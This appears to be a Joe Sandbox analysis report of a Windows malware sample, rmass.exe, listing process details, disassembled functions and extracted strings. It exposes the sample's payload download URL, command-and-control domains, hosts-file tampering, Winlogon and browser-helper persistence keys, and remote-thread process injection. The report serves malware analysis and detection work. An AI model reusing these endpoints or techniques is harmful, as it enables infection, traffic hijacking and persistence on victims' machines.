Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:47:58
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\rmass.exe
Wow64 process (32bit):	true
Commandline:	--k33p
Imagebase:	0x400000
File size:	48'655 bytes
MD5 hash:	6327443864311678C76C9738D91D6EF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:47:58
Start date:	05/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:47:58
Start date:	05/01/2025
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	478
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040354A Relevance: 180.7, APIs: 31, Strings: 72, Instructions: 466memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403578
GetVersionExA.KERNEL32(0040C0C0), ref: 00403591

Strings

search.yahoo., xrefs: 00403C75
http://%s.biz/d/N?, xrefs: 00403BD3
wininet.dll, xrefs: 00403A8B, 00403A9D
http://69.50.173.166/gdnOT2424.exe, xrefs: 00403E6D
winrnt.exe, xrefs: 00403B67
@{@, xrefs: 0040463C
isdn, xrefs: 00403C1B
grazie.gif, xrefs: 00403E5B
google., xrefs: 00403C51
ThreadingModel, xrefs: 00403F21
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00403F0F
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00403B9D
urlinj_fork, xrefs: 00403DEF
g00d d0gg, xrefs: 00403EA3
ProxyEnable, xrefs: 00403A67
IsInstalled, xrefs: 00403D29
tombul.gif, xrefs: 00403E7F
PREVED! I SMOKE GANJA EVERY DAY!, xrefs: 004048D0
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00403D83
%CommonProgramFiles%\System\, xrefs: 00403CF3
rmass.exe, xrefs: 00403B79, 00404072
search.msn., xrefs: 00403C87
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00403A55
qnd_b__-0F, xrefs: 00404095, 004040E6
http://%s.biz/d/G?, xrefs: 00403BE5
.google., xrefs: 00403C3F
ConnPred, xrefs: 00403E13
explorer.exe, xrefs: 00403EC7
%u.%u.%u.%s, xrefs: 00403CBD
nichetgp.com, xrefs: 00403CAB
museum, xrefs: 00403D4D
urlinj_creat, xrefs: 00403DB9
kernel32.dll, xrefs: 004035A8, 004035BA
urlinj_conn, xrefs: 00403DA7
127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 00403F57, 00403F6E
_Classes, xrefs: 00403A31
UseExtProfile, xrefs: 00403E25
http://utbidet-ugeas.biz/d/rpt?, xrefs: 00403BF7
iphlpapi.dll, xrefs: 004039E1, 004039F3
--k33p, xrefs: 00403596, 0040360F
urlinj_creat_f, xrefs: 00403DDD
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403D71
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00403D5F
RECOVER32.DLL, xrefs: 00403B8B
Startup, xrefs: 00403EEB
%02X, xrefs: 004040D7
Both, xrefs: 00403F33
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403E01
UseDflProfile, xrefs: 00403E37
http://utbidet-ugeas.biz/d/cc, xrefs: 00403E49
rasapi32.dll, xrefs: 0040398B, 004039A3
Debugger, xrefs: 00403D17
\drivers\etc\hosts, xrefs: 00403C2D
%ComSpec%, xrefs: 00403CE1, 004043C0
SubshellState, xrefs: 00403E91
%AppData%\, xrefs: 00403D05
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 00403CCF, 004049A4
Default Flags, xrefs: 004040B9
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004040A7
DLLName, xrefs: 00403ED9
aset32.exe, xrefs: 00403BAF
urlinj_xfer, xrefs: 00403DCB
StubPath, xrefs: 00403D3B
HTTP/1.0 200, xrefs: 00403D95
Connections, xrefs: 00403A79
idbg32.exe, xrefs: 00403BC1
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00403EFD
modem, xrefs: 00403C09
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00403A43
winlogon.exe, xrefs: 00403EB5
jdial.biz, xrefs: 00403C99
google., xrefs: 00403C63

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: HeapProcessVersion
String ID: google.$ google.$%02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$%u.%u.%u.%s$--k33p$.google.$127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/$@{@$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$Connections$DLLName$Debugger$Default Flags$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$IsInstalled$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$PREVED! I SMOKE GANJA EVERY DAY!$ProxyEnable$RECOVER32.DLL$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$Startup$StubPath$SubshellState$ThreadingModel$UseDflProfile$UseExtProfile$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$\drivers\etc\hosts$_Classes$aset32.exe$explorer.exe$g00d d0gg$grazie.gif$http://%s.biz/d/G?$http://%s.biz/d/N?$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$http://utbidet-ugeas.biz/d/rpt?$idbg32.exe$iphlpapi.dll$isdn$jdial.biz$kernel32.dll$modem$museum$nichetgp.com$qnd_b__-0F$rasapi32.dll$rmass.exe$search.msn.$search.yahoo.$tombul.gif$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer$wininet.dll$winlogon.exe$winrnt.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}
API String ID: 2203647613-727001273
Opcode ID: 306861d10df796421ba0cfd02e5698772736862e590c313a776b3f9e357f4e2a
Instruction ID: 46e3c655099bbc7e29c0dce50a4e6fc886fa9d9bc8b2fe551b1869cd73b3b0bd
Opcode Fuzzy Hash: 306861d10df796421ba0cfd02e5698772736862e590c313a776b3f9e357f4e2a
Instruction Fuzzy Hash: CBF1D3702047409ADB30AA648A85B6F39ACE751315F14CD3BF686FA2C1D77CCA618B5F

Function 0040370C Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 175libraryloadernativeCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,CreateRemoteThread), ref: 00403724
LoadLibraryA.KERNEL32(ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 00403792
GetProcAddress.KERNEL32(00000000,ntdll.dll), ref: 0040379A
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 004037AA
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 004037BA
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 004037CA
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,00000000,RtlAdjustPrivilege,00000000,NtShutdownSystem,00000000,NtWriteVirtualMemory,00000000,ntdll.dll,NtAllocateVirtualMemory,?,CreateRemoteThread), ref: 004037E8
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403814
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403829
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?,?,CreateRemoteThread), ref: 00403871
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 004038DA
CloseHandle.KERNEL32(?,?,CreateRemoteThread), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981

Strings

NtQueryInformationToken, xrefs: 004037FC, 00403823
NtWriteVirtualMemory, xrefs: 00403752, 0040379F
ntdll.dll, xrefs: 0040372E, 0040378D
CreateRemoteThread, xrefs: 0040370C, 0040371E
RtlAdjustPrivilege, xrefs: 00403776, 004037BF
NtOpenProcessToken, xrefs: 004037EA, 0040380E
NtAllocateVirtualMemory, xrefs: 00403740, 00403788
NtShutdownSystem, xrefs: 00403764, 004037AF
rasapi32.dll, xrefs: 0040398B

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: AddressProc$CurrentInformationQueryToken$AdjustCloseCountHandleLibraryLoadPrivilegeProcessStartupThreadTick
String ID: CreateRemoteThread$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$RtlAdjustPrivilege$ntdll.dll$rasapi32.dll
API String ID: 111222507-3799945703
Opcode ID: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction ID: da765254775b880a394b369aa104dbc8fe345ffdd81bae99228adbb332d89bff
Opcode Fuzzy Hash: 566cde513319909695800ac3c7100ab68da935ab940bf5de745ef73408a1153d
Instruction Fuzzy Hash: 4B51D5A0708342AED7105B7949C5B1B2E8CAB16355F208A77F492F71D3D7BC9901C66F

Function 004035CF Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 83processlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,0040AA4F), ref: 004035E7
GetModuleFileNameA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403605
GetCommandLineA.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040360A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403625
GetCurrentProcessId.KERNEL32(00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571

Strings

--k33p, xrefs: 0040360F
SD), xrefs: 004035E6

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: Process$CloseCreateHandleProcess32$AddressCommandCurrentExitFileFirstInfoLineModuleNameNextObjectOpenProcSingleSnapshotStartupToolhelp32Wait
String ID: --k33p$SD)
API String ID: 3843483697-1933173989
Opcode ID: c05ba8187b9d9ed88f48377573df2dc5249a4313ba6246fdf939eaed7ebc578e
Instruction ID: 980f618471af2990efa059250717ff7e22aa3cf5a7f3fe279e17687d513e2805
Opcode Fuzzy Hash: c05ba8187b9d9ed88f48377573df2dc5249a4313ba6246fdf939eaed7ebc578e
Instruction Fuzzy Hash: 5F2153702087817AE730AB718D46FAF758CDF84749F90483BB289B51D2DE7C99008E6B

Function 004043CE Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 124stringfiletimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004043DE
GetFileTime.KERNEL32(00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040440A
CloseHandle.KERNEL32(?,00000000,?,?,?,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404416
GetSystemDirectoryA.KERNEL32(?,000000FA), ref: 0040443B
lstrcat.KERNEL32(?,0040B041), ref: 0040444B
lstrcat.KERNEL32(00000000,?), ref: 00404451

Part of subcall function 004010F7: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
Part of subcall function 004010F7: SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
Part of subcall function 004010F7: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155

lstrcpy.KERNEL32(?,%CommonProgramFiles%\System\), ref: 00404482
lstrcat.KERNEL32(00000000,?), ref: 00404488
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 0040448E
lstrcpy.KERNEL32(?,%AppData%\), ref: 004044B5
lstrcat.KERNEL32(00000000,?), ref: 004044BB
ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,?,%AppData%\,rmass.exe,?,00000104,00000000,00000000,?,%CommonProgramFiles%\System\,rmass.exe,?,00000104,00000000,?), ref: 004044C1

Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002), ref: 00401168
Part of subcall function 004010F7: CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000,?,40000000,00000000,00000000), ref: 0040116E

CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001), ref: 004044FD
SetFileTime.KERNEL32(00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe,?), ref: 00404522
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,80000100,00000001,00000000,00000003,00000000,00000000,00000000,?,0040B041,rmass.exe), ref: 00404528
SetFileAttributesA.KERNEL32(?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404537
CloseHandle.KERNEL32(?,?,00000021,00000000,?,0040B041,rmass.exe,?,000000FA,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404540
GetStartupInfoA.KERNEL32(?), ref: 0040454D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002,00000000,00000000,?,00000104,?,0040AA4F), ref: 00404571

Strings

%AppData%\, xrefs: 004044AF
%CommonProgramFiles%\System\, xrefs: 00404475
rmass.exe, xrefs: 00404440, 00404470, 004044AA

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$CloseCreateHandle$lstrcat$AttributesEnvironmentExpandProcessStringsTimelstrcpy$DirectoryExitInfoStartupSystem
String ID: %AppData%\$%CommonProgramFiles%\System\$rmass.exe
API String ID: 3457279090-2823594557
Opcode ID: 1b6c8a0c966c87519b365d02fbeed2a512221f243b2ceb6ef640596e738020e5
Instruction ID: 6384acf48e3804f064e8c7321ef833ce5966d880c2ab70e1242ca5c0aa13c74e
Opcode Fuzzy Hash: 1b6c8a0c966c87519b365d02fbeed2a512221f243b2ceb6ef640596e738020e5
Instruction Fuzzy Hash: AA3165B124474076D630A6718D4AFDF729C9F84708F90883FB384B65C2DBBCA9454A6E

Function 00403F9D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,000000F2), ref: 00403FA3
lstrcat.KERNEL32(?,\hosts), ref: 00403FC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,000000FE,wininet.dll,iphlpapi.dll,rasapi32.dll,00000000,?,00000104,kernel32.dll), ref: 00403FDC
SetFilePointer.KERNEL32(00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000,?,\drivers\etc\hosts), ref: 00403FF8
ReadFile.KERNEL32(?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404015
ReadFile.KERNEL32(?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000), ref: 0040402B
ReadFile.KERNEL32(?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000), ref: 00404041
CloseHandle.KERNEL32(?,?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000), ref: 0040404D
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 00404084

Strings

\drivers\etc\hosts, xrefs: 00403FA8
rmass.exe, xrefs: 00404072
qnd_b__-0F, xrefs: 00404095

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$Read$CloseCreateDirectoryHandlePointerSystemlstrcatlstrcmpi
String ID: \drivers\etc\hosts$qnd_b__-0F$rmass.exe
API String ID: 1203944850-1622607554
Opcode ID: 074d9b99e19fa6e782e71a736af14935949c7faaee14d4bfabb155f9d6964e94
Instruction ID: 35304083c46ce8bdd99aca2beccb525c336441cd391f258b3a4e2715a73e65a2
Opcode Fuzzy Hash: 074d9b99e19fa6e782e71a736af14935949c7faaee14d4bfabb155f9d6964e94
Instruction Fuzzy Hash: DA1166B0644741F9F6306B71CC4BF4B2598EB81718FA0853B7355B90D1DBBC54048A2E

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000000.00000002.1704400733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1704386451.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704422549.0000000000407000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704456129.000000000040B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704475209.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NpHauDPoR8.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 05f2d731d8d305200a5f31a2daddac79f0c22cef5ff9b1e283e07582db7b8273
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: 05f2d731d8d305200a5f31a2daddac79f0c22cef5ff9b1e283e07582db7b8273
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Non-executed Functions

Function 00404A24 Relevance: 323.2, APIs: 138, Strings: 46, Instructions: 1235registrystringfileCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404A31
lstrcat.KERNEL32(?,0040B041), ref: 00404A41
lstrcat.KERNEL32(00000000,?), ref: 00404A47
CreateMutexA.KERNEL32(00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A67
WaitForSingleObject.KERNEL32(00000000,00002710,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A7D
CloseHandle.KERNEL32(?,00000000,00002710,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A89
Sleep.KERNEL32(000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A95
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404AA7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041), ref: 00404ABF
WriteFile.KERNEL32(00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404AF1
lstrlen.KERNEL32(?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404B3F
lstrcpy.KERNEL32(?,?), ref: 00404B74
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000), ref: 00404BA4
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?), ref: 00404BD6
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000), ref: 00404BE2
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,00000000), ref: 00404C34
lstrlen.KERNEL32(?,?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?), ref: 00404C3A
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001), ref: 00404C52
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?), ref: 00404C66
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 00404C78
RegDeleteValueA.ADVAPI32(00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404C9E
RegCloseKey.ADVAPI32(?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404CAA
lstrcmpiA.KERNEL32(?,rmass.exe), ref: 00404CE5
lstrcmpiA.KERNEL32(?,?), ref: 00404CFE
SetFileAttributesA.KERNEL32(?,00000080,?,rmass.exe,?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080), ref: 00404D14
DeleteFileA.KERNEL32(?,?,00000080,?,rmass.exe,?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002), ref: 00404D1A
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,rmass.exe,?,00000000,SubshellState,80000001,?), ref: 00404D3B
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,?,rmass.exe,?,00000000,SubshellState), ref: 00404D53
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?), ref: 00404D67
ReadFile.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000004,00000000,00000000,?,?), ref: 00404D8A
lstrcpy.KERNEL32(?,rmass.exe), ref: 00404E09
lstrcpy.KERNEL32(?,?), ref: 00404E1E
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,rmass.exe,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080), ref: 00404E53
